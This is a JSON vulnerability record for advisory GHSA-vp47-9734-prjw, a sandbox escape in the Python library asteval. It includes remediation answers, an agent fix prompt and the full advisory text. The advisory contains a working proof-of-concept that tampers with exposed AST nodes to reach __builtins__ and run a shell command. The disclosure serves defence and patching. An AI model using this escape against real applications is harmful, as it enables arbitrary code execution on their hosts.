{"answers":{"affected":"2 open source packages ship an affected version, including asteval.","exploited":"There is no known exploitation of GHSA-vp47-9734-prjw in the wild and no public exploit code.","fix":"Upgrade asteval to 1.0.6 or later.","what":"GHSA-vp47-9734-prjw is a code injection vulnerability in asteval, published on 23 Jan 2025. An attacker can exploit it over the internet without logging in, with no action from the victim."},"fix_prompt":"Check this codebase for GHSA-vp47-9734-prjw and fix it if it is affected.\n\nWhat it is: GHSA-vp47-9734-prjw is a code injection vulnerability in asteval, published on 23 Jan 2025. An attacker can exploit it over the internet without logging in, with no action from the victim.\nExploitation: There is no known exploitation of GHSA-vp47-9734-prjw in the wild and no public exploit code.\n\nAffected packages and fixed versions:\n- asteval (PyPI): affected all versions; fixed in 1.0.6\n- asteval (PyPI): affected all versions; fixed in 1.0.6\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/GHSA-vp47-9734-prjw/ (Markdown: https://insights.sbomify.com/GHSA-vp47-9734-prjw/index.md)","id":"GHSA-vp47-9734-prjw","markdown":"https://insights.sbomify.com/GHSA-vp47-9734-prjw/index.md","name":"GHSA-vp47-9734-prjw","record":{"aliases":[],"analysis":{"component_type":"library","fix_type":"upgrade","impacts":["code_execution"],"network_reachable":"yes","non_default_config":false,"product_category":"Python AST evaluation library","requires_auth":"none","summary":"Attackers can execute arbitrary Python code by tampering with exposed AST nodes in the asteval library, bypassing sandbox restrictions.","user_interaction":"not_required","vuln_class":"code_injection"},"analysis_generated_by":"qwen3.8-flash-next","assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"### Summary\nIf an attacker can control the input to the asteval library, they can bypass its safety restrictions and execute arbitrary Python code within the application's context.\n\n### Details\nThe vulnerability is rooted in how `asteval` performs attribute access verification. In particular, the [`on_attribute`](https://github.com/lmfit/asteval/blob/8d7326df8015cf6a57506b1c2c167a1c3763e090/asteval/asteval.py#L565) node handler prevents access to attributes that are either present in the `UNSAFE_ATTRS` list or are formed by names starting and ending with `__`, as shown in the code snippet below:\n\n```py\n    def on_attribute(self, node):    # ('value', 'attr', 'ctx')\n        \"\"\"Extract attribute.\"\"\"\n\n        ctx = node.ctx.__class__\n        if ctx == ast.Store:\n            msg = \"attribute for storage: shouldn't be here!\"\n            self.raise_exception(node, exc=RuntimeError, msg=msg)\n\n        sym = self.run(node.value)\n        if ctx == ast.Del:\n            return delattr(sym, node.attr)\n        #\n        unsafe = (node.attr in UNSAFE_ATTRS or\n                 (node.attr.startswith('__') and node.attr.endswith('__')))\n        if not unsafe:\n            for dtype, attrlist in UNSAFE_ATTRS_DTYPES.items():\n                unsafe = isinstance(sym, dtype) and node.attr in attrlist\n                if unsafe:\n                    break\n        if unsafe:\n            msg = f\"no safe attribute '{node.attr}' for {repr(sym)}\"\n            self.raise_exception(node, exc=AttributeError, msg=msg)\n        else:\n            try:\n                return getattr(sym, node.attr)\n            except AttributeError:\n                pass\n```\n\nWhile this check is intended to block access to sensitive Python dunder methods (such as `__getattribute__`), the flaw arises because instances of the `Procedure` class expose their AST (stored in the `body` attribute) without proper protection:\n\n```py\nclass Procedure:\n    \"\"\"Procedure: user-defined function for asteval.\n\n    This stores the parsed ast nodes as from the 'functiondef' ast node\n    for later evaluation.\n\n    \"\"\"\n\n    def __init__(self, name, interp, doc=None, lineno=0,\n                 body=None, args=None, kwargs=None,\n                 vararg=None, varkws=None):\n        \"\"\"TODO: docstring in public method.\"\"\"\n        self.__ininit__ = True\n        self.name = name\n        self.__name__ = self.name\n        self.__asteval__ = interp\n        self.raise_exc = self.__asteval__.raise_exception\n        self.__doc__ = doc\n        self.body = body\n        self.argnames = args\n        self.kwargs = kwargs\n        self.vararg = vararg\n        self.varkws = varkws\n        self.lineno = lineno\n        self.__ininit__ = False\n```\n\nSince the `body` attribute is not protected by a naming convention that would restrict its modification, an attacker can modify the AST of a `Procedure` during runtime to leverage unintended behaviour.\n\nThe exploit works as follows:\n\n1. **The Time of Check, Time of Use (TOCTOU) Gadget:**\n\n   In the [code](https://github.com/lmfit/asteval/blob/8d7326df8015cf6a57506b1c2c167a1c3763e090/asteval/asteval.py#L577) below, a variable named `unsafe` is set based on whether `node.attr` is considered unsafe:\n\n   ```python\n   unsafe = (node.attr in UNSAFE_ATTRS or\n             (node.attr.startswith('__') and node.attr.endswith('__')))\n   ```\n\n2. **Exploiting the TOCTOU Gadget:**\n\n   An attacker can abuse this gadget by hooking any `Attribute` AST node that is not in the `UNSAFE_ATTRS` list. The attacker modifies the `node.attr.startswith` function so that it points to a custom procedure. This custom procedure performs the following steps:\n   \n   - It replaces the value of `node.attr` with the string `\"__getattribute__\"` and returns `False`.\n   - Thus, when `node.attr.startswith('__')` is evaluated, it returns `False`, which causes the condition to short-circuit and sets `unsafe` to `False`.\n   - However, by that time, `node.attr` has been changed to `\"__getattribute__\"`, which will be used in the subsequent `getattr(sym, node.attr)` call. An attacker can then use the obtained reference to `sym.__getattr__`to retrieve malicious attributes without needing to pass the `on_attribute` checks.\n\n### PoC\nThe following proof-of-concept (PoC) demonstrates how this vulnerability can be exploited to execute the `whoami` command on the host machine:\n\n```py\nfrom asteval import Interpreter\naeval = Interpreter()\ncode = \"\"\"\nga_str = \"__getattribute__\"\ndef lender():\n    a\n    b\ndef pwn():\n    ga = lender.dontcare\n    init = ga(\"__init__\")\n    ga = init.dontcare\n    globals = ga(\"__globals__\")\n    builtins = globals[\"__builtins__\"]\n    importer = builtins[\"__import__\"]\n    importer(\"os\").system(\"whoami\")\n\ndef startswith1(str):\n    # Replace the attr on the targeted AST node with \"__getattribute__\"\n    pwn.body[0].value.attr = ga_str\n    return False    \n\ndef startswith2(str):\n    pwn.body[2].value.attr = ga_str\n    return False    \n\nn1 = lender.body[0]\nn1.startswith = startswith1\npwn.body[0].value.attr = n1\n\nn2 = lender.body[1]\nn2.startswith = startswith2\npwn.body[2].value.attr = n2\n\npwn()\n\"\"\"\naeval(code)\n```","ecosystems":["PyPI"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":true,"headline":"ASTEVAL Allows Malicious Tampering of Exposed AST Nodes Leads to Sandbox Escape","id":"GHSA-vp47-9734-prjw","indexable":true,"kev":null,"kind":"advisory","links":{"ecosystem":"PyPI","product":null,"products":[],"type":"code_injection","year":"2025"},"n_packages":2,"n_references":null,"packages":[{"ecosystem":"PyPI","fixed":["1.0.6"],"introduced":["0"],"last_affected":[],"package":"asteval","purl":null,"source":"GHSA-vp47-9734-prjw"},{"ecosystem":"PyPI","fixed":["1.0.6"],"introduced":["0"],"last_affected":[],"package":"asteval","purl":"pkg:pypi/asteval","source":"GHSA-vp47-9734-prjw"}],"products":null,"published":"2025-01-23","related":[],"sources":[{"class":"attribution","licence":"CC BY 4.0","name":"GitHub Advisory Database","prefix":"GHSA"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":"Attackers can execute arbitrary Python code by tampering with exposed AST nodes in the asteval library, bypassing sandbox restrictions.","url":"https://insights.sbomify.com/GHSA-vp47-9734-prjw/"}